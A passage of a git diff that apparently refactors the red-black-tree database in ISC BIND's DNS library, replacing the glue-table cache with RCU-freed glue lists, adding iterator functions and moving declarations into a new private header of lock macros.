+					       name, origin);
+		if (result == ISC_R_NOTFOUND) {
+			result = ISC_R_NOMORE;
+		}
 	}
 
-	result = ISC_R_SUCCESS;
+	dereference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 
-	if (dns_rdataset_isassociated(&rdataset_a)) {
-		rdataset_disassociate(&rdataset_a);
-	}
-	if (dns_rdataset_isassociated(&sigrdataset_a)) {
-		rdataset_disassociate(&sigrdataset_a);
+	if (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
+		rbtdbiter->new_origin = (result == DNS_R_NEWORIGIN);
+		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
+						  NULL, &rbtdbiter->node);
 	}
 
-	if (dns_rdataset_isassociated(&rdataset_aaaa)) {
-		rdataset_disassociate(&rdataset_aaaa);
-	}
-	if (dns_rdataset_isassociated(&sigrdataset_aaaa)) {
-		rdataset_disassociate(&sigrdataset_aaaa);
+	if (result == ISC_R_SUCCESS) {
+		reference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 	}
 
-	if (node_a != NULL) {
-		detachnode((dns_db_t *)ctx->rbtdb, (dns_dbnode_t *)&node_a);
-	}
-	if (node_aaaa != NULL) {
-		detachnode((dns_db_t *)ctx->rbtdb, (dns_dbnode_t *)&node_aaaa);
-	}
+	rbtdbiter->result = result;
 
 	return (result);
 }
 
 static isc_result_t
-rdataset_addglue(dns_rdataset_t *rdataset, dns_dbversion_t *version,
-		 dns_message_t *msg) {
-	dns_rbtdb_t *rbtdb = rdataset->private1;
-	dns_rbtnode_t *node = rdataset->private2;
-	rbtdb_version_t *rbtversion = version;
-	uint32_t idx;
-	rbtdb_glue_table_node_t *cur;
-	bool found = false;
-	bool restarted = false;
-	rbtdb_glue_t *ge;
-	rbtdb_glue_additionaldata_ctx_t ctx;
+dbiterator_next(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	isc_result_t result;
-	uint64_t hash;
-
-	REQUIRE(rdataset->type == dns_rdatatype_ns);
-	REQUIRE(rbtdb == rbtversion->rbtdb);
-	REQUIRE(!IS_CACHE(rbtdb) && !IS_STUB(rbtdb));
+	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
+	dns_name_t *name = NULL, *origin = NULL;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
 
-	/*
-	 * The glue table cache that forms a part of the DB version
-	 * structure is not explicitly bounded and there's no cache
-	 * cleaning. The zone data size itself is an implicit bound.
-	 *
-	 * The key into the glue hashtable is the node pointer. This is
-	 * because the glue hashtable is a property of the DB version,
-	 * and the glue is keyed for the ownername/NS tuple. We don't
-	 * bother with using an expensive dns_name_t comparison here as
-	 * the node pointer is a fixed value that won't change for a DB
-	 * version and can be compared directly.
-	 */
-	hash = isc_hash_function(&node, sizeof(node), true);
+	REQUIRE(rbtdbiter->node != NULL);
 
-restart:
-	/*
-	 * First, check if we have the additional entries already cached
-	 * in the glue table.
-	 */
-	RWLOCK(&rbtversion->glue_rwlock, isc_rwlocktype_read);
+	if (rbtdbiter->result != ISC_R_SUCCESS) {
+		return (rbtdbiter->result);
+	}
 
-	idx = hash_32(hash, rbtversion->glue_table_bits);
+	if (rbtdbiter->paused) {
+		resume_iteration(rbtdbiter);
+	}
 
-	for (cur = rbtversion->glue_table[idx]; cur != NULL; cur = cur->next) {
-		if (cur->node == node) {
-			break;
+	name = dns_fixedname_name(&rbtdbiter->name);
+	origin = dns_fixedname_name(&rbtdbiter->origin);
+	result = dns_rbtnodechain_next(rbtdbiter->current, name, origin);
+	if (result == ISC_R_NOMORE && !rbtdbiter->nsec3only &&
+	    !rbtdbiter->nonsec3 && &rbtdbiter->chain == rbtdbiter->current)
+	{
+		rbtdbiter->current = &rbtdbiter->nsec3chain;
+		dns_rbtnodechain_reset(rbtdbiter->current);
+		result = dns_rbtnodechain_first(rbtdbiter->current,
+						rbtdb->nsec3, name, origin);
+		if (result == ISC_R_NOTFOUND) {
+			result = ISC_R_NOMORE;
 		}
 	}
 
-	if (cur == NULL) {
-		goto no_glue;
-	}
-	/*
-	 * We found a cached result. Add it to the message and
-	 * return.
-	 */
-	found = true;
-	ge = cur->glue_list;
+	dereference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 
-	/*
-	 * (void *) -1 is a special value that means no glue is
-	 * present in the zone.
-	 */
-	if (ge == (void *)-1) {
-		if (!restarted && (rbtdb->gluecachestats != NULL)) {
-			isc_stats_increment(
-				rbtdb->gluecachestats,
-				dns_gluecachestatscounter_hits_absent);
-		}
-		goto no_glue;
-	} else {
-		if (!restarted && (rbtdb->gluecachestats != NULL)) {
-			isc_stats_increment(
-				rbtdb->gluecachestats,
-				dns_gluecachestatscounter_hits_present);
-		}
+	if (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
+		rbtdbiter->new_origin = (result == DNS_R_NEWORIGIN);
+		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
+						  NULL, &rbtdbiter->node);
+	}
+	if (result == ISC_R_SUCCESS) {
+		reference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 	}
 
-	for (; ge != NULL; ge = ge->next) {
-		dns_name_t *name = NULL;
-		dns_rdataset_t *rdataset_a = NULL;
-		dns_rdataset_t *sigrdataset_a = NULL;
-		dns_rdataset_t *rdataset_aaaa = NULL;
-		dns_rdataset_t *sigrdataset_aaaa = NULL;
-		dns_name_t *gluename = dns_fixedname_name(&ge->fixedname);
+	rbtdbiter->result = result;
 
-		result = dns_message_gettempname(msg, &name);
-		if (ISC_UNLIKELY(result != ISC_R_SUCCESS)) {
-			goto no_glue;
-		}
+	return (result);
+}
 
-		dns_name_copy(gluename, name);
+static isc_result_t
+dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
+		   dns_name_t *name DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
+	dns_rbtnode_t *node = rbtdbiter->node;
+	isc_result_t result;
+	dns_name_t *nodename = dns_fixedname_name(&rbtdbiter->name);
+	dns_name_t *origin = dns_fixedname_name(&rbtdbiter->origin);
 
-		if (dns_rdataset_isassociated(&ge->rdataset_a)) {
-			result = dns_message_gettemprdataset(msg, &rdataset_a);
-			if (ISC_UNLIKELY(result != ISC_R_SUCCESS)) {
-				dns_message_puttempname(msg, &name);
-				goto no_glue;
-			}
-		}
+	REQUIRE(rbtdbiter->result == ISC_R_SUCCESS);
+	REQUIRE(rbtdbiter->node != NULL);
 
-		if (dns_rdataset_isassociated(&ge->sigrdataset_a)) {
-			result = dns_message_gettemprdataset(msg,
-							     &sigrdataset_a);
-			if (ISC_UNLIKELY(result != ISC_R_SUCCESS)) {
-				if (rdataset_a != NULL) {
-					dns_message_puttemprdataset(
-						msg, &rdataset_a);
-				}
-				dns_message_puttempname(msg, &name);
-				goto no_glue;
-			}
-		}
+	if (rbtdbiter->paused) {
+		resume_iteration(rbtdbiter);
+	}
 
-		if (dns_rdataset_isassociated(&ge->rdataset_aaaa)) {
-			result = dns_message_gettemprdataset(msg,
-							     &rdataset_aaaa);
-			if (ISC_UNLIKELY(result != ISC_R_SUCCESS)) {
-				dns_message_puttempname(msg, &name);
-				if (rdataset_a != NULL) {
-					dns_message_puttemprdataset(
-						msg, &rdataset_a);
-				}
-				if (sigrdataset_a != NULL) {
-					dns_message_puttemprdataset(
-						msg, &sigrdataset_a);
-				}
-				goto no_glue;
-			}
+	if (name != NULL) {
+		if (rbtdbiter->common.relative_names) {
+			origin = NULL;
 		}
-
-		if (dns_rdataset_isassociated(&ge->sigrdataset_aaaa)) {
-			result = dns_message_gettemprdataset(msg,
-							     &sigrdataset_aaaa);
-			if (ISC_UNLIKELY(result != ISC_R_SUCCESS)) {
-				dns_message_puttempname(msg, &name);
-				if (rdataset_a != NULL) {
-					dns_message_puttemprdataset(
-						msg, &rdataset_a);
-				}
-				if (sigrdataset_a != NULL) {
-					dns_message_puttemprdataset(
-						msg, &sigrdataset_a);
-				}
-				if (rdataset_aaaa != NULL) {
-					dns_message_puttemprdataset(
-						msg, &rdataset_aaaa);
-				}
-				goto no_glue;
-			}
+		result = dns_name_concatenate(nodename, origin, name, NULL);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
 		}
-
-		if (ISC_LIKELY(rdataset_a != NULL)) {
-			dns_rdataset_clone(&ge->rdataset_a, rdataset_a);
-			ISC_LIST_APPEND(name->list, rdataset_a, link);
+		if (rbtdbiter->common.relative_names && rbtdbiter->new_origin) {
+			result = DNS_R_NEWORIGIN;
 		}
+	} else {
+		result = ISC_R_SUCCESS;
+	}
 
-		if (sigrdataset_a != NULL) {
-			dns_rdataset_clone(&ge->sigrdataset_a, sigrdataset_a);
-			ISC_LIST_APPEND(name->list, sigrdataset_a, link);
-		}
+	dns__rbtdb_newref(rbtdb, node, isc_rwlocktype_none DNS__DB_FLARG_PASS);
 
-		if (rdataset_aaaa != NULL) {
-			dns_rdataset_clone(&ge->rdataset_aaaa, rdataset_aaaa);
-			ISC_LIST_APPEND(name->list, rdataset_aaaa, link);
-		}
-		if (sigrdataset_aaaa != NULL) {
-			dns_rdataset_clone(&ge->sigrdataset_aaaa,
-					   sigrdataset_aaaa);
-			ISC_LIST_APPEND(name->list, sigrdataset_aaaa, link);
-		}
+	*nodep = rbtdbiter->node;
 
-		dns_message_addname(msg, name, DNS_SECTION_ADDITIONAL);
-	}
+	return (result);
+}
 
-no_glue:
-	RWUNLOCK(&rbtversion->glue_rwlock, isc_rwlocktype_read);
+static isc_result_t
+dbiterator_pause(dns_dbiterator_t *iterator) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
 
-	if (found) {
-		return (ISC_R_SUCCESS);
+	if (rbtdbiter->result != ISC_R_SUCCESS &&
+	    rbtdbiter->result != ISC_R_NOTFOUND &&
+	    rbtdbiter->result != DNS_R_PARTIALMATCH &&
+	    rbtdbiter->result != ISC_R_NOMORE)
+	{
+		return (rbtdbiter->result);
 	}
 
-	if (restarted) {
-		return (ISC_R_FAILURE);
+	if (rbtdbiter->paused) {
+		return (ISC_R_SUCCESS);
 	}
 
-	/*
-	 * No cached glue was found in the table. Cache it and restart
-	 * this function.
-	 *
-	 * Due to the gap between the read lock and the write lock, it's
-	 * possible that we may cache a duplicate glue table entry, but
-	 * we don't care.
-	 */
-
-	ctx.glue_list = NULL;
-	ctx.rbtdb = rbtdb;
-	ctx.rbtversion = rbtversion;
+	rbtdbiter->paused = true;
 
-	RWLOCK(&rbtversion->glue_rwlock, isc_rwlocktype_write);
+	if (rbtdbiter->tree_locked == isc_rwlocktype_read) {
+		TREE_UNLOCK(&rbtdb->tree_lock, &rbtdbiter->tree_locked);
+	}
+	INSIST(rbtdbiter->tree_locked == isc_rwlocktype_none);
 
-	maybe_rehash_gluetable(rbtversion);
-	idx = hash_32(hash, rbtversion->glue_table_bits);
+	return (ISC_R_SUCCESS);
+}
 
-	(void)dns_rdataset_additionaldata(rdataset, glue_nsdname_cb, &ctx);
+static isc_result_t
+dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name) {
+	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
+	dns_name_t *origin = dns_fixedname_name(&rbtdbiter->origin);
 
-	cur = isc_mem_get(rbtdb->common.mctx, sizeof(*cur));
+	if (rbtdbiter->result != ISC_R_SUCCESS) {
+		return (rbtdbiter->result);
+	}
 
-	/*
-	 * XXXMUKS: it looks like the dns_dbversion is not destroyed
-	 * when named is terminated by a keyboard break. This doesn't
-	 * cleanup the node reference and keeps the process dangling.
-	 */
-	/* isc_refcount_increment0(&node->references); */
-	cur->node = node;
+	dns_name_copy(origin, name);
+	return (ISC_R_SUCCESS);
+}
 
-	if (ctx.glue_list == NULL) {
-		/*
-		 * No glue was found. Cache it so.
-		 */
-		cur->glue_list = (void *)-1;
-		if (rbtdb->gluecachestats != NULL) {
-			isc_stats_increment(
-				rbtdb->gluecachestats,
-				dns_gluecachestatscounter_inserts_absent);
-		}
-	} else {
-		cur->glue_list = ctx.glue_list;
-		if (rbtdb->gluecachestats != NULL) {
-			isc_stats_increment(
-				rbtdb->gluecachestats,
-				dns_gluecachestatscounter_inserts_present);
-		}
+void
+dns__rbtdb_freeglue(dns_glue_t *glue_list) {
+	if (glue_list == (void *)-1) {
+		return;
 	}
 
-	cur->next = rbtversion->glue_table[idx];
-	rbtversion->glue_table[idx] = cur;
-	rbtversion->glue_table_nodecount++;
+	dns_glue_t *glue = glue_list;
+	while (glue != NULL) {
+		dns_glue_t *next = glue->next;
 
-	RWUNLOCK(&rbtversion->glue_rwlock, isc_rwlocktype_write);
-
-	restarted = true;
-	goto restart;
+		if (dns_rdataset_isassociated(&glue->rdataset_a)) {
+			dns_rdataset_disassociate(&glue->rdataset_a);
+		}
+		if (dns_rdataset_isassociated(&glue->sigrdataset_a)) {
+			dns_rdataset_disassociate(&glue->sigrdataset_a);
+		}
 
-	/* UNREACHABLE */
-}
+		if (dns_rdataset_isassociated(&glue->rdataset_aaaa)) {
+			dns_rdataset_disassociate(&glue->rdataset_aaaa);
+		}
+		if (dns_rdataset_isassociated(&glue->sigrdataset_aaaa)) {
+			dns_rdataset_disassociate(&glue->sigrdataset_aaaa);
+		}
 
-/*%
- * Routines for LRU-based cache management.
- */
+		dns_rdataset_invalidate(&glue->rdataset_a);
+		dns_rdataset_invalidate(&glue->sigrdataset_a);
+		dns_rdataset_invalidate(&glue->rdataset_aaaa);
+		dns_rdataset_invalidate(&glue->sigrdataset_aaaa);
 
-/*%
- * See if a given cache entry that is being reused needs to be updated
- * in the LRU-list.  From the LRU management point of view, this function is
- * expected to return true for almost all cases.  When used with threads,
- * however, this may cause a non-negligible performance penalty because a
- * writer lock will have to be acquired before updating the list.
- * If DNS_RBTDB_LIMITLRUUPDATE is defined to be non 0 at compilation time, this
- * function returns true if the entry has not been updated for some period of
- * time.  We differentiate the NS or glue address case and the others since
- * experiments have shown that the former tends to be accessed relatively
- * infrequently and the cost of cache miss is higher (e.g., a missing NS records
- * may cause external queries at a higher level zone, involving more
- * transactions).
- *
- * Caller must hold the node (read or write) lock.
- */
-static inline bool
-need_headerupdate(rdatasetheader_t *header, isc_stdtime_t now) {
-	if (RDATASET_ATTR_GET(header, (RDATASET_ATTR_NONEXISTENT |
-				       RDATASET_ATTR_ANCIENT |
-				       RDATASET_ATTR_ZEROTTL)) != 0)
-	{
-		return (false);
-	}
+		isc_mem_putanddetach(&glue->mctx, glue, sizeof(*glue));
 
-#if DNS_RBTDB_LIMITLRUUPDATE
-	if (header->type == dns_rdatatype_ns ||
-	    (header->trust == dns_trust_glue &&
-	     (header->type == dns_rdatatype_a ||
-	      header->type == dns_rdatatype_aaaa)))
-	{
-		/*
-		 * Glue records are updated if at least DNS_RBTDB_LRUUPDATE_GLUE
-		 * seconds have passed since the previous update time.
-		 */
-		return (header->last_used + DNS_RBTDB_LRUUPDATE_GLUE <= now);
+		glue = next;
 	}
-
-	/*
-	 * Other records are updated if DNS_RBTDB_LRUUPDATE_REGULAR seconds
-	 * have passed.
-	 */
-	return (header->last_used + DNS_RBTDB_LRUUPDATE_REGULAR <= now);
-#else
-	UNUSED(now);
-
-	return (true);
-#endif /* if DNS_RBTDB_LIMITLRUUPDATE */
 }
 
-/*%
- * Update the timestamp of a given cache entry and move it to the head
- * of the corresponding LRU list.
- *
- * Caller must hold the node (write) lock.
- *
- * Note that the we do NOT touch the heap here, as the TTL has not changed.
- */
 static void
-update_header(dns_rbtdb_t *rbtdb, rdatasetheader_t *header, isc_stdtime_t now) {
-	INSIST(IS_CACHE(rbtdb));
-
-	/* To be checked: can we really assume this? XXXMLG */
-	INSIST(ISC_LINK_LINKED(header, link));
+free_gluelist_rcu(struct rcu_head *rcu_head) {
+	dns_glue_t *glue = caa_container_of(rcu_head, dns_glue_t, rcu_head);
 
-	ISC_LIST_UNLINK(rbtdb->rdatasets[header->node->locknum], header, link);
-	header->last_used = now;
-	ISC_LIST_PREPEND(rbtdb->rdatasets[header->node->locknum], header, link);
+	dns__rbtdb_freeglue(glue);
 }
 
-/*%
- * Purge some expired and/or stale (i.e. unused for some period) cache entries
- * under an overmem condition.  To recover from this condition quickly, up to
- * 2 entries will be purged.  This process is triggered while adding a new
- * entry, and we specifically avoid purging entries in the same LRU bucket as
- * the one to which the new entry will belong.  Otherwise, we might purge
- * entries of the same name of different RR types while adding RRsets from a
- * single response (consider the case where we're adding A and AAAA glue records
- * of the same NS name).
- */
 static void
-overmem_purge(dns_rbtdb_t *rbtdb, unsigned int locknum_start, isc_stdtime_t now,
-	      bool tree_locked) {
-	rdatasetheader_t *header, *header_prev;
-	unsigned int locknum;
-	int purgecount = 2;
-
-	for (locknum = (locknum_start + 1) % rbtdb->node_lock_count;
-	     locknum != locknum_start && purgecount > 0;
-	     locknum = (locknum + 1) % rbtdb->node_lock_count)
-	{
-		NODE_LOCK(&rbtdb->node_locks[locknum].lock,
-			  isc_rwlocktype_write);
-
-		header = isc_heap_element(rbtdb->heaps[locknum], 1);
-		if (header && header->rdh_ttl < now - RBTDB_VIRTUAL) {
-			expire_header(rbtdb, header, tree_locked, expire_ttl);
-			purgecount--;
-		}
+free_gluetable(dns_rbtdb_version_t *rbtversion) {
+	struct cds_wfs_head *head = __cds_wfs_pop_all(&rbtversion->glue_stack);
+	struct cds_wfs_node *node = NULL, *next = NULL;
 
-		for (header = ISC_LIST_TAIL(rbtdb->rdatasets[locknum]);
-		     header != NULL && purgecount > 0; header = header_prev)
-		{
-			header_prev = ISC_LIST_PREV(header, link);
-			/*
-			 * Unlink the entry at this point to avoid checking it
-			 * again even if it's currently used someone else and
-			 * cannot be purged at this moment.  This entry won't be
-			 * referenced any more (so unlinking is safe) since the
-			 * TTL was reset to 0.
-			 */
-			ISC_LIST_UNLINK(rbtdb->rdatasets[locknum], header,
-					link);
-			expire_header(rbtdb, header, tree_locked, expire_lru);
-			purgecount--;
-		}
+	rcu_read_lock();
+	cds_wfs_for_each_blocking_safe(head, node, next) {
+		dns_slabheader_t *header =
+			caa_container_of(node, dns_slabheader_t, wfs_node);
+		dns_glue_t *glue = rcu_xchg_pointer(&header->glue_list, NULL);
 
-		NODE_UNLOCK(&rbtdb->node_locks[locknum].lock,
-			    isc_rwlocktype_write);
+		call_rcu(&glue->rcu_head, free_gluelist_rcu);
 	}
+	rcu_read_unlock();
 }
 
 static void
-expire_header(dns_rbtdb_t *rbtdb, rdatasetheader_t *header, bool tree_locked,
-	      expire_t reason) {
-	set_ttl(rbtdb, header, 0);
-	mark_header_ancient(rbtdb, header);
+free_proof(isc_mem_t *mctx, dns_proof_t **noqname) {
+	if (dns_name_dynamic(&(*noqname)->name)) {
+		dns_name_free(&(*noqname)->name, mctx);
+	}
+	if ((*noqname)->neg != NULL) {
+		isc_mem_put(mctx, (*noqname)->neg,
+			    dns_rdataslab_size((*noqname)->neg, 0));
+	}
+	if ((*noqname)->negsig != NULL) {
+		isc_mem_put(mctx, (*noqname)->negsig,
+			    dns_rdataslab_size((*noqname)->negsig, 0));
+	}
+	isc_mem_put(mctx, *noqname, sizeof(**noqname));
+	*noqname = NULL;
+}
 
-	/*
-	 * Caller must hold the node (write) lock.
-	 */
+void
+dns__rbtdb_deletedata(dns_db_t *db ISC_ATTR_UNUSED,
+		      dns_dbnode_t *node ISC_ATTR_UNUSED, void *data) {
+	dns_slabheader_t *header = data;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)header->db;
 
-	if (isc_refcount_current(&header->node->references) == 0) {
-		/*
-		 * If no one else is using the node, we can clean it up now.
-		 * We first need to gain a new reference to the node to meet a
-		 * requirement of decrement_reference().
-		 */
-		new_reference(rbtdb, header->node, isc_rwlocktype_write);
-		decrement_reference(rbtdb, header->node, 0,
-				    isc_rwlocktype_write,
-				    tree_locked ? isc_rwlocktype_write
-						: isc_rwlocktype_none,
-				    false);
-
-		if (rbtdb->cachestats == NULL) {
-			return;
+	if (header->heap != NULL && header->heap_index != 0) {
+		isc_heap_delete(header->heap, header->heap_index);
+	}
+	header->heap_index = 0;
+
+	if (IS_CACHE(rbtdb)) {
+		update_rrsetstats(rbtdb->rrsetstats, header->type,
+				  atomic_load_acquire(&header->attributes),
+				  false);
+
+		if (ISC_LINK_LINKED(header, link)) {
+			int idx = HEADER_NODE(header)->locknum;
+			INSIST(IS_CACHE(rbtdb));
+			ISC_LIST_UNLINK(rbtdb->lru[idx], header, link);
 		}
 
-		switch (reason) {
-		case expire_ttl:
-			isc_stats_increment(rbtdb->cachestats,
-					    dns_cachestatscounter_deletettl);
-			break;
-		case expire_lru:
-			isc_stats_increment(rbtdb->cachestats,
-					    dns_cachestatscounter_deletelru);
-			break;
-		default:
-			break;
+		if (header->noqname != NULL) {
+			free_proof(db->mctx, &header->noqname);
+		}
+		if (header->closest != NULL) {
+			free_proof(db->mctx, &header->closest);
+		}
+	} else {
+		if (header->glue_list) {
+			dns__rbtdb_freeglue(header->glue_list);
 		}
 	}
 }
diff --git a/lib/dns/rbtdb.h b/lib/dns/rbtdb.h
deleted file mode 100644
index e691c64388..0000000000
--- a/lib/dns/rbtdb.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_RBTDB_H
-#define DNS_RBTDB_H 1
-
-#include <isc/lang.h>
-
-#include <dns/types.h>
-
-/*****
-***** Module Info
-*****/
-
-/*! \file
- * \brief
- * DNS Red-Black Tree DB Implementation
- */
-
-ISC_LANG_BEGINDECLS
-
-isc_result_t
-dns_rbtdb_create(isc_mem_t *mctx, const dns_name_t *base, dns_dbtype_t type,
-		 dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
-		 void *driverarg, dns_db_t **dbp);
-
-/*%<
- * Create a new database of type "rbt" (or "rbt64").  Called via
- * dns_db_create(); see documentation for that function for more details.
- *
- * If argv[0] is set, it points to a valid memory context to be used for
- * allocation of heap memory.  Generally this is used for cache databases
- * only.
- *
- * Requires:
- *
- * \li argc == 0 or argv[0] is a valid memory context.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_RBTDB_H */
diff --git a/lib/dns/rbtdb_p.h b/lib/dns/rbtdb_p.h
new file mode 100644
index 0000000000..ddc98fe7f2
--- /dev/null
+++ b/lib/dns/rbtdb_p.h
@@ -0,0 +1,613 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <isc/heap.h>
+#include <isc/lang.h>
+#include <isc/urcu.h>
+
+#include <dns/nsec3.h>
+#include <dns/rbt.h>
+#include <dns/types.h>
+
+/*%
+ * Note that "impmagic" is not the first four bytes of the struct, so
+ * ISC_MAGIC_VALID cannot be used.
+ */
+#define RBTDB_MAGIC ISC_MAGIC('R', 'B', 'D', '4')
+#define VALID_RBTDB(rbtdb) \
+	((rbtdb) != NULL && (rbtdb)->common.impmagic == RBTDB_MAGIC)
+
+#define RBTDB_RDATATYPE_SIGNSEC \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_nsec)
+#define RBTDB_RDATATYPE_SIGNSEC3 \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_nsec3)
+#define RBTDB_RDATATYPE_SIGNS \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_ns)
+#define RBTDB_RDATATYPE_SIGCNAME \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_cname)
+#define RBTDB_RDATATYPE_SIGDNAME \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_dname)
+#define RBTDB_RDATATYPE_SIGDS \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_ds)
+#define RBTDB_RDATATYPE_SIGSOA \
+	DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, dns_rdatatype_soa)
+#define RBTDB_RDATATYPE_NCACHEANY DNS_TYPEPAIR_VALUE(0, dns_rdatatype_any)
+
+#define RBTDB_INITLOCK(l)    isc_rwlock_init((l))
+#define RBTDB_DESTROYLOCK(l) isc_rwlock_destroy(l)
+#define RBTDB_LOCK(l, t)     RWLOCK((l), (t))
+#define RBTDB_UNLOCK(l, t)   RWUNLOCK((l), (t))
+
+#ifdef DNS_RBTDB_STRONG_RWLOCK_CHECK
+#define STRONG_RWLOCK_CHECK(cond) REQUIRE(cond)
+#else
+#define STRONG_RWLOCK_CHECK(cond)
+#endif
+
+#define NODE_INITLOCK(l)    isc_rwlock_init((l))
+#define NODE_DESTROYLOCK(l) isc_rwlock_destroy(l)
+#define NODE_LOCK(l, t, tp)                                      \
+	{                                                        \
+		STRONG_RWLOCK_CHECK(*tp == isc_rwlocktype_none); \
+		RWLOCK((l), (t));                                \
+		*tp = t;                                         \
+	}
+#define NODE_UNLOCK(l, tp)                                       \
+	{                                                        \
+		STRONG_RWLOCK_CHECK(*tp != isc_rwlocktype_none); \
+		RWUNLOCK(l, *tp);                                \
+		*tp = isc_rwlocktype_none;                       \
+	}
+#define NODE_RDLOCK(l, tp) NODE_LOCK(l, isc_rwlocktype_read, tp);
+#define NODE_WRLOCK(l, tp) NODE_LOCK(l, isc_rwlocktype_write, tp);
+#define NODE_TRYLOCK(l, t, tp)                                   \
+	({                                                       \
+		STRONG_RWLOCK_CHECK(*tp == isc_rwlocktype_none); \
+		isc_result_t _result = isc_rwlock_trylock(l, t); \
+		if (_result == ISC_R_SUCCESS) {                  \
+			*tp = t;                                 \
+		};                                               \
+		_result;                                         \
+	})
+#define NODE_TRYRDLOCK(l, tp) NODE_TRYLOCK(l, isc_rwlocktype_read, tp)
+#define NODE_TRYWRLOCK(l, tp) NODE_TRYLOCK(l, isc_rwlocktype_write, tp)
+#define NODE_TRYUPGRADE(l, tp)                                   \
+	({                                                       \
+		STRONG_RWLOCK_CHECK(*tp == isc_rwlocktype_read); \
+		isc_result_t _result = isc_rwlock_tryupgrade(l); \
+		if (_result == ISC_R_SUCCESS) {                  \
+			*tp = isc_rwlocktype_write;              \
+		};                                               \
+		_result;                                         \
+	})
+#define NODE_FORCEUPGRADE(l, tp)                       \
+	if (NODE_TRYUPGRADE(l, tp) != ISC_R_SUCCESS) { \
+		NODE_UNLOCK(l, tp);                    \
+		NODE_WRLOCK(l, tp);                    \
+	}
+
+#define TREE_INITLOCK(l)    isc_rwlock_init(l)
+#define TREE_DESTROYLOCK(l) isc_rwlock_destroy(l)
+#define TREE_LOCK(l, t, tp)                                      \
+	{                                                        \
+		STRONG_RWLOCK_CHECK(*tp == isc_rwlocktype_none); \
+		RWLOCK(l, t);                                    \
+		*tp = t;                                         \
+	}
+#define TREE_UNLOCK(l, tp)                                       \
+	{                                                        \
+		STRONG_RWLOCK_CHECK(*tp != isc_rwlocktype_none); \
+		RWUNLOCK(l, *tp);                                \
+		*tp = isc_rwlocktype_none;                       \
+	}
+#define TREE_RDLOCK(l, tp) TREE_LOCK(l, isc_rwlocktype_read, tp);
+#define TREE_WRLOCK(l, tp) TREE_LOCK(l, isc_rwlocktype_write, tp);
+#define TREE_TRYLOCK(l, t, tp)                                   \
+	({                                                       \
+		STRONG_RWLOCK_CHECK(*tp == isc_rwlocktype_none); \
+		isc_result_t _result = isc_rwlock_trylock(l, t); \
+		if (_result == ISC_R_SUCCESS) {                  \
+			*tp = t;                                 \
+		};                                               \
+		_result;                                         \
+	})
+#define TREE_TRYRDLOCK(l, tp) TREE_TRYLOCK(l, isc_rwlocktype_read, tp)
+#define TREE_TRYWRLOCK(l, tp) TREE_TRYLOCK(l, isc_rwlocktype_write, tp)
+#define TREE_TRYUPGRADE(l, tp)                                   \
+	({                                                       \
+		STRONG_RWLOCK_CHECK(*tp == isc_rwlocktype_read); \
+		isc_result_t _result = isc_rwlock_tryupgrade(l); \
+		if (_result == ISC_R_SUCCESS) {                  \
+			*tp = isc_rwlocktype_write;              \
+		};                                               \
+		_result;                                         \
+	})
+#define TREE_FORCEUPGRADE(l, tp)                       \
+	if (TREE_TRYUPGRADE(l, tp) != ISC_R_SUCCESS) { \
+		TREE_UNLOCK(l, tp);                    \
+		TREE_WRLOCK(l, tp);                    \
+	}
+
+#define RDATASET_RBTDB(r)  ((dns_rbtdb_t *)(r)->slab.db)
+#define RDATASET_DBNODE(r) ((dns_rbtnode_t *)(r)->slab.node)
+
+#define HEADER_NODE(h) ((dns_rbtnode_t *)((h)->node))
+
+#define IS_STUB(rbtdb)	(((rbtdb)->common.attributes & DNS_DBATTR_STUB) != 0)
+#define IS_CACHE(rbtdb) (((rbtdb)->common.attributes & DNS_DBATTR_CACHE) != 0)
+
+/*
+ * Allow clients with a virtual time of up to 5 minutes in the past to see
+ * records that would have otherwise have expired.
+ */
+#define RBTDB_VIRTUAL 300
+
+/*****
+***** Module Info
+*****/
+
+/*! \file
+ * \brief
